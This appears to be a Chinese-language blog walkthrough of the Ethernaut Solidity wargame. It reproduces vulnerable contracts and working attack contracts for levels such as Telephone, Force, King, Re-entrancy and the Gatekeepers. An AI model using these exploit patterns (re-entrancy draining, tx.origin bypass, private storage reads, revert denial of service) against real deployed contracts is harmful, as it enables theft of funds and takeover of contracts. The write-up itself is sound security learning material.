Tritium

Tritium

ethernaut初探

想正經入門鏈了 先把這個 playground 做一下

Fallback#

這個題有兩個需求

  1. 獲得這個合約的所有權
  2. 把他的餘額減到 0

再看合約內容

function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

這兩個函數能控制 owner 的歸屬 可以先給 contribute 交易一些 ether 使 contribution 大於 0 再調用 receive 交易就能獲取 owner 了

receive 函數是 sol 裡的 fallback 函數 在外部調用了不存在的方法時被觸發

Untitled.png

所以在 remix 裡設置好要發送的 wei 數量 點下面的 low level interaction 裡發送一筆空交易就行了

Untitled.png

這樣就成功的把 owner 變成了我們自己

然後調用 withdraw 函數提取所有 balance 就滿足了需求

Fallout#

要求還是 getowner

function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

這個函數直接提供了更改 owner 的方法 調用就行

Coin Flip#

這是一個掷硬幣的遊戲,你需要連續的猜對結果。完成這一關,你需要通過你的超能力來連續猜對十次。

function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }

注意到有一個 revert 函數 它會觸發回退 把這次交易取消掉 但是這裡還用不到

這裡判斷正反面的方法是 blockValue / FACTOR == 1 ? true : false 所以可以把這個計算提前進行 並把結果代入

CoinFlip public coinFlipContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlipContract) public{
        coinFlipContract = CoinFlip(_coinFlipContract);
    }
    function guessFlip() public {

        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue/FACTOR;
        bool guess = coinFlip == 1 ? true : false;

        coinFlipContract.flip(guess);
    }
}

這樣就能百分百猜中 調用 10 次就可以了

Telephone#


contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

要求繞過一個 tx.origin != msg.sender

tx.origin 是發出請求的地址 msg.sender 是調用合約的地址

所以可以寫一個第三方合約 通過這個合約調用目標合約來繞過限制 獲取 owner

比如

contract attacker {
    Telephone telephone;
    constructor(address _contractaddr){
        telephone = Telephone(_contractaddr);
    }
    function attack(address _owner) public{
        telephone.changeOwner(_owner);
    }
}

這樣就拿到了控制權

Token#

這個合約基本實現了一個能交易的代幣

其中的 transfer 沒有使用 safemath,可能出現運算的溢出

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

比如我現在有 20 個代幣,我給一個隨機地址發送 22 個,我的代幣數量就會溢出變得極大

Untitled.png

like this

Delegation#


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

題目實際暴露出來的是 delegation 這個合約 他會把 delegate 這個函數的請求通過 delegatecall 轉發進去

目標地址的代碼在調用合約的上下文中執行, msg.sender 和msg.value 的值不會改變。這意味著合約在運行時可以動態地從不同的地址加載代碼。存儲、當前地址和餘額仍然指的是調用的合約,只是代碼是從被調用的地址中提取的。

所以可以先編碼出 pwn 函數的 data 直接把這個 data 在轉帳時傳進去 這樣就能通過 fallback 轉發訪問到 pwn 來修改 owner 了

Force#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

?

The goal of this level is to make the balance of the contract greater than zero.

這個合約沒有實現了 payable 的函數 也沒有 receive 或者 fallback 所以不能直接轉帳

對於一個合約來說 有這幾種方法實現對其轉帳

  1. 合約至少實現了一個 payable 函數,然後在調用函數的時候帶 eth
  2. 合約實現了一個 recevie 函數
  3. 合約實現了一個 fallback 函數
  4. 通過 selfdestruct ()
  5. 通過 miner 的獎勵獲得 eth

selfdestruct 函數會使一個合約自毀 然後把合約地址內的餘額強制轉帳到目標地址

顯然這裡只能使用 selfdestruct 函數實現強制轉帳 那就編寫一個攻擊合約

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


contract attacker{
    function attack(address  payable _addr) public payable {
        selfdestruct(_addr);
    }
}

這樣在攻擊的時候附加轉帳即可

Vault#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

這裡需要猜出 password 的值 我覺得這個可能和 re 很像 能直接反編譯出來

通過反編譯發現 password 存放在這個合約的 slot1 中 可以通過 web3.eth.getStorageAt ("0xc0d3b189eDa39e0825D61413bDE0B34db919d580",1) 直接訪問到密碼 把它輸入進 unlock 即可

King#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

感覺是要把 prize 放到 uint 的最大 使他即將溢出 就能防止 msg 的 value 比 prize 大了

但是 uint 的最大是 2^256-1 不知道這是多少的 eth 直接傳了個過去

好 吃了我一個 ether 而且沒有成功

看了下題解 需要再調用這筆交易之後 revert 掉

contract BadKing {
    King public king = King(YOUR_LEVEL_ADDR_HERE);
    
    // Create a malicious contract and seed it with some Ethers
    function BadKing() public payable {
    }
    
    // This should trigger King fallback(), making this contract the king
    function becomeKing() public {
        address(king).call.value(1000000000000000000).gas(4000000)();
    }
    
    // This function fails "king.transfer" trx from Ethernaut
    function() external payable {
        revert("haha you fail");
    }
}

已經沒錢了 之後再做吧

Re-entrancy#

題目是經典的重入攻擊

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

(bool result,) = msg.sender.call {value:_amount}(""); 這一行已經執行了轉帳操作 但是在 balances [msg.sender] -= _amount; 才執行記帳

所以寫出這樣一個 attack 合約

contract attacker{
    Reentrance cont;
    uint public targetBalance;
    constructor(address payable addr){
        cont = Reentrance(addr);
        targetBalance = address(cont).balance;
    }
    function attack() public payable{
        cont.donate{value:targetBalance}(address(this));
        withdraw();
    }
    fallback() external payable{
        withdraw();
    }
    function withdraw() public{
        cont.withdraw(targetBalance);
    }

}

他就會循環取現 全部提取出來

Elevator#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

要求是讓 top 為 true 看起來很簡單 讓一個函數第一次調用結果是 false 第二次為 true 就行了

響應的攻擊合約

contract Building{
    uint public isused;
    constructor(){
        isused = 0;
    }
    function isLastFloor(uint floor) external returns (bool){
        if(isused == 0){
            isused++;
            return false;
        } else{
            return true;
        }
    }
    function useElevator(address addr) public{
        Elevator elev = Elevator(addr);
        elev.goTo(1);
    }
}

Privacy#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(block.timestamp);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

要從 storage 中找到 data 並讀取 和上面的 vault 一樣 先反編譯 bydmumbai 網絡反編譯 b 用沒有 用 jeb 反編譯看到 data 存在在 storage5 位置

Untitled.png

web3.eth.getStorageAt (contract.address,5) 查看數據拿到密鑰 key 即為 data 的前一半 bytes16

Gatekeeper One#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

目標是過三關 拿下參賽者

先看第一關 用一個合約調用可以繞過

第二關要求 gasleft 的特殊值

Untitled.png

典型的 ctf 思維👍👍👍

爆!

第三關要求一個類型轉換

Untitled.png

簡單來說就是構造了一個對自己地址的掩碼 要求對應位一致

最後調一個合適的編譯器版本編譯之後打就行了

GateKeeperTwo#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

第一關:經典msg.sender != tx.origin

第二關要求 extcodesize (caller ())=0 根據文檔

The idea is straightforward: if an address contains code, it's not an EOA but a contract account. However, a contract does not have source code available during construction. This means that while the constructor is running, it can make calls to other contracts, but extcodesize for its address returns zero.

也就是說在構造函數中調用其他合約 就能滿足這個要求

第三關要求攻擊合約地址和 gatekey 異或後等於 uint64 最大值

uint64 的最大值是全為 1 的一个值,因此讓uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) 和全為一的 0xFFFFFFFFFFFFFFFFFFFFF 異或就能得到這個 key

最終攻擊合約為

contract gate2 {
    constructor(address _gatekeeper){
        GatekeeperTwo gate = GatekeeperTwo(_gatekeeper);
        bytes8 gatekey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF;
        gate.enter(gatekey);
    }
}

Naught Coin#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = block.timestamp + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0') {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(block.timestamp > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

構造了一個 erc20 的代幣,並重寫了 transfer 函數 添加了時間鎖

那就要使用 transferFrom 函數轉走玩家賬戶裡的代幣

contract.approve 批准 transferFrom

這裡 approve 的參數應該是自己的錢包

然後再用await contract.transferFrom 轉走所有代幣即可

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。